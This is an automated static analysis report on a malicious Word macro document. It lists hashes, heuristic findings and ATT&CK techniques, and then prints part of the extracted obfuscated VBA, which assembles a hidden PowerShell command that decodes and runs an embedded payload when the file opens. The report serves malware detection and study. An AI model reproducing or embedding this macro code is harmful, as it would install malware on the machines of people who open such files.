Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c669bf059a738dd4…

MALICIOUS

Office (OLE)

124.0 KB Created: 2018-05-23 19:19:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: 9c41a332b74c0c700705fbae2fefc3a2 SHA-1: 246475efa40a020726c349bd0be4b187a5d1ce92 SHA-256: c669bf059a738dd4fbcb9311f85217987978d901ff7386aa6d4cf52f836aeb18
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. The presence of an AutoOpen macro further suggests automatic execution upon opening. The script's obfuscated nature and use of string concatenation to build commands make detailed analysis difficult, but the intent is clearly to execute a payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 95657 bytes
SHA-256: b40d28531642aa1e974000b63ca3f7c07210ece3df9657eafcef0d7e498cc282
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XKrCYcPWpniT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function vmUUfNF()

On Error Resume Next
QiRbwRJiv = MwJLGpFnOuE + CSng(391887) + 230294 / Sin(388593 - CByte(894222) / 878851 - Round(391887)) + nGrqaniikht * TwnBVuKP - (230294 + 388593 + 894222 - 3918870)
Set rwNpcBOjwjY = QrKkHqWw
dUXSTnURoj = "ZoyczZJr59Z95Pl xOgwershelcawI"
iRXuhNXGpo = Left(Right(dUXSTnURoj, 29), 1) + Left(Right(dUXSTnURoj, 11), 7) + Left(Right(dUXSTnURoj, 16), 2)

YYNYvs = "czZJ-W9Z95PsvxOgQfFiMkYcawIlCG7iOPv6EbFtkEdRWB9je-eXPrESQwjvmONsyinDowsTyle hidden InVOKo2fHsK6MrSTphe"
AuoqUiwz = Left(Right(YYNYvs, 98), 2) + CStr(Left(Right(YYNYvs, 37), 23)) + CStr(Left(Right(YYNYvs, 54), 8)) + Left(Right(YYNYvs, 5), 1)

zNoBkVbIUD = "czZIo59Z95PsvxOgQfFiMkYcawIlCG7iO.cOmpFtkEdRN(NEW-obJect iovmONsyrUV2"
qUEznNfAmk = Left(Right(zNoBkVbIUD, 66), 2) + Left(Right(zNoBkVbIUD, 25), 15) + CStr(Left(Right(zNoBkVbIUD, 36), 5)) + Left(Right(zNoBkVbIUD, 4), 1)

matzPafjQPc = "czZeS59Z95PsvxOgQfFiMkYcawIlCG7iOEaM( FtkEdRSioN.dEflaTesTrvmONsy[UV2"
PXKRfCB = Left(Right(matzPafjQPc, 66), 2) + Left(Right(matzPafjQPc, 25), 15) + CStr(Left(Right(matzPafjQPc, 36), 5)) + Left(Right(matzPafjQPc, 4), 1)

UuSoJaoUOo = "ZIyczZJr59Z95PsvxStRfFiO.meMorYCG7iO"
iGwUQRYX = CStr(Left(Right(UuSoJaoUOo, 35), 1)) + Left(Right(UuSoJaoUOo, 13), 8) + Left(Right(UuSoJaoUOo, 19), 3)

ViwMMwlJu = "ZeEAzZJr59Z95PsvxOgQfFiMkYc:FRoMG7iOPM][coNVeRt]:9jX7PqKw"
dwBlnMA = CStr(Left(Right(ViwMMwlJu, 55), 2)) + CStr(Left(Right(ViwMMwlJu, 20), 12)) + CStr(Left(Right(ViwMMwlJu, 30), 5))

fPIUMmVikkL = "czZbA59Z95PsvxOgQfFiMkYcawIlCG7iOPtT9tItkEdRWBSE64StrIng( 'ZVZNsygUVEISp"
NZGTiW = Left(Right(fPIUMmVikkL, 69), 2) + Left(Right(fPIUMmVikkL, 26), 16) + Left(Right(fPIUMmVikkL, 38), 5) + Left(Right(fPIUMmVikkL, 4), 1)
XnidcK = HRcuCw + CSng(178622) + 552300 / Sin(688237 - CByte(443040) / 218073 - Round(178622)) + iPrIvnwRj * LShILZtr - (552300 + 688237 + 443040 - 1786220)
Set YzjWwhSZP = phXYvNjwYUC
ITKchaYl = "PpWZ5y"
rWOipOoEFrc = CStr(Left(Right(ITKchaYl, 6), 1)) + Left(Right(ITKchaYl, 2), 1)

fioTAZoNkj = Chr(43)
trhXDSr = "czZ0v59Z95PsvxOgQfFiMkYcawIlCG7iOPv6Eb7sGJhoWB9jX7Pq2HVVU1tvKCHb8XVSovSpPLy76g6Om"
RAGzsKpWXXw = Left(Right(trhXDSr, 78), 2) + CStr(Left(Right(trhXDSr, 29), 18)) + Left(Right(trhXDSr, 43), 6) + CStr(Left(Right(trhXDSr, 4), 1))

wwnYBFbisGf = "czZJrECZ95PsvxOgQfFiMkYcawIlCG7iOPv6EbFtkEdRWB9jX7PquDVs7O7uzONsygUV2IofyITGGpBg7dQwN5PLf75ndHZMrkTphehFfZOyxTm"
cAdsqz = CStr(Left(Right(wwnYBFbisGf, 106), 2)) + Left(Right(wwnYBFbisGf, 41), 25) + Left(Right(wwnYBFbisGf, 59), 9) + Left(Right(wwnYBFbisGf, 5), 1)

SXDsmI = "czZJrzs495PsvxOgQfFiMkYcawIlCG7iOPv6EbFtkEdRWB9jX7PqKwbmyILo02VsygUV2ISpP8zwzCMD5sbGe76VvbjYMvwtDfTphehFfZRyxLmJqK"
LhGzHVU = Left(Right(SXDsmI, 109), 3) + Left(Right(SXDsmI, 41), 25) + CStr(Left(Right(SXDsmI, 60), 9)) + Left(Right(SXDsmI, 5), 1)

zMBzOdf = "czZTm59Z95PsvxOgQfFiMkYcawIlCG7iOPv6EUMfbcRRWB9jX7YY4pRB8rIT4cCrCCqV2ISpPLn767"
itzAML = Left(Right(zMBzOdf, 75), 2) + CStr(Left(Right(zMBzOdf, 28), 17)) + Left(Right(zMBzOdf, 41), 6) + Left(Right(zMBzOdf, 4), 1)
VLLDwbX = LcaXj + CSng(666318) + 332848 / Sin(920677 - CByte(888932) / 310432 - Round(666318)) + wDvKZDXuLBj * CHrHMzmt - (332848 + 920677 + 888932 - 6663180)
Set RlikpYuEti = zTOPbWXKuaA
QtpPSiV = "Qvn"
mOmOiwJtWW = CStr(Left(Right(QtpPSiV, 3), 1))

UqJksY = Chr(43)
XGrffz = "czZJVA9Z95PsvxOgQfFiMkYcawIlCG7iOPv6EbFtkEdRWB9juZFzSpyWQwjvmONsy5dBuLGELzcgENLBqkyXaiA0o2fHsK6MroTphe"
XGaDXXv = Left(Right(XGrffz, 98), 2) + CStr(Left(Right(XGrffz, 37), 23)) + CStr(Left(Right(XGrffz, 54), 8)) + Left(Right(XGrffz, 5), 1)

KznJKaZUmf = Chr(43)
ZKTLfjTbz = "czZlg59Z95PsvxOgQfFiMkYcawIlCG7iOtscifFtkEdRiEQNdAI2D4y55hxvmONsyYUV2"
DbpJQ = Left(Right(ZKTLfjTbz, 66), 2) + Left(Right(ZKTLfjTbz, 25), 15) + CStr(Left(Right(ZKTLfjTbz, 36), 5)) + Left(Ri
... (truncated)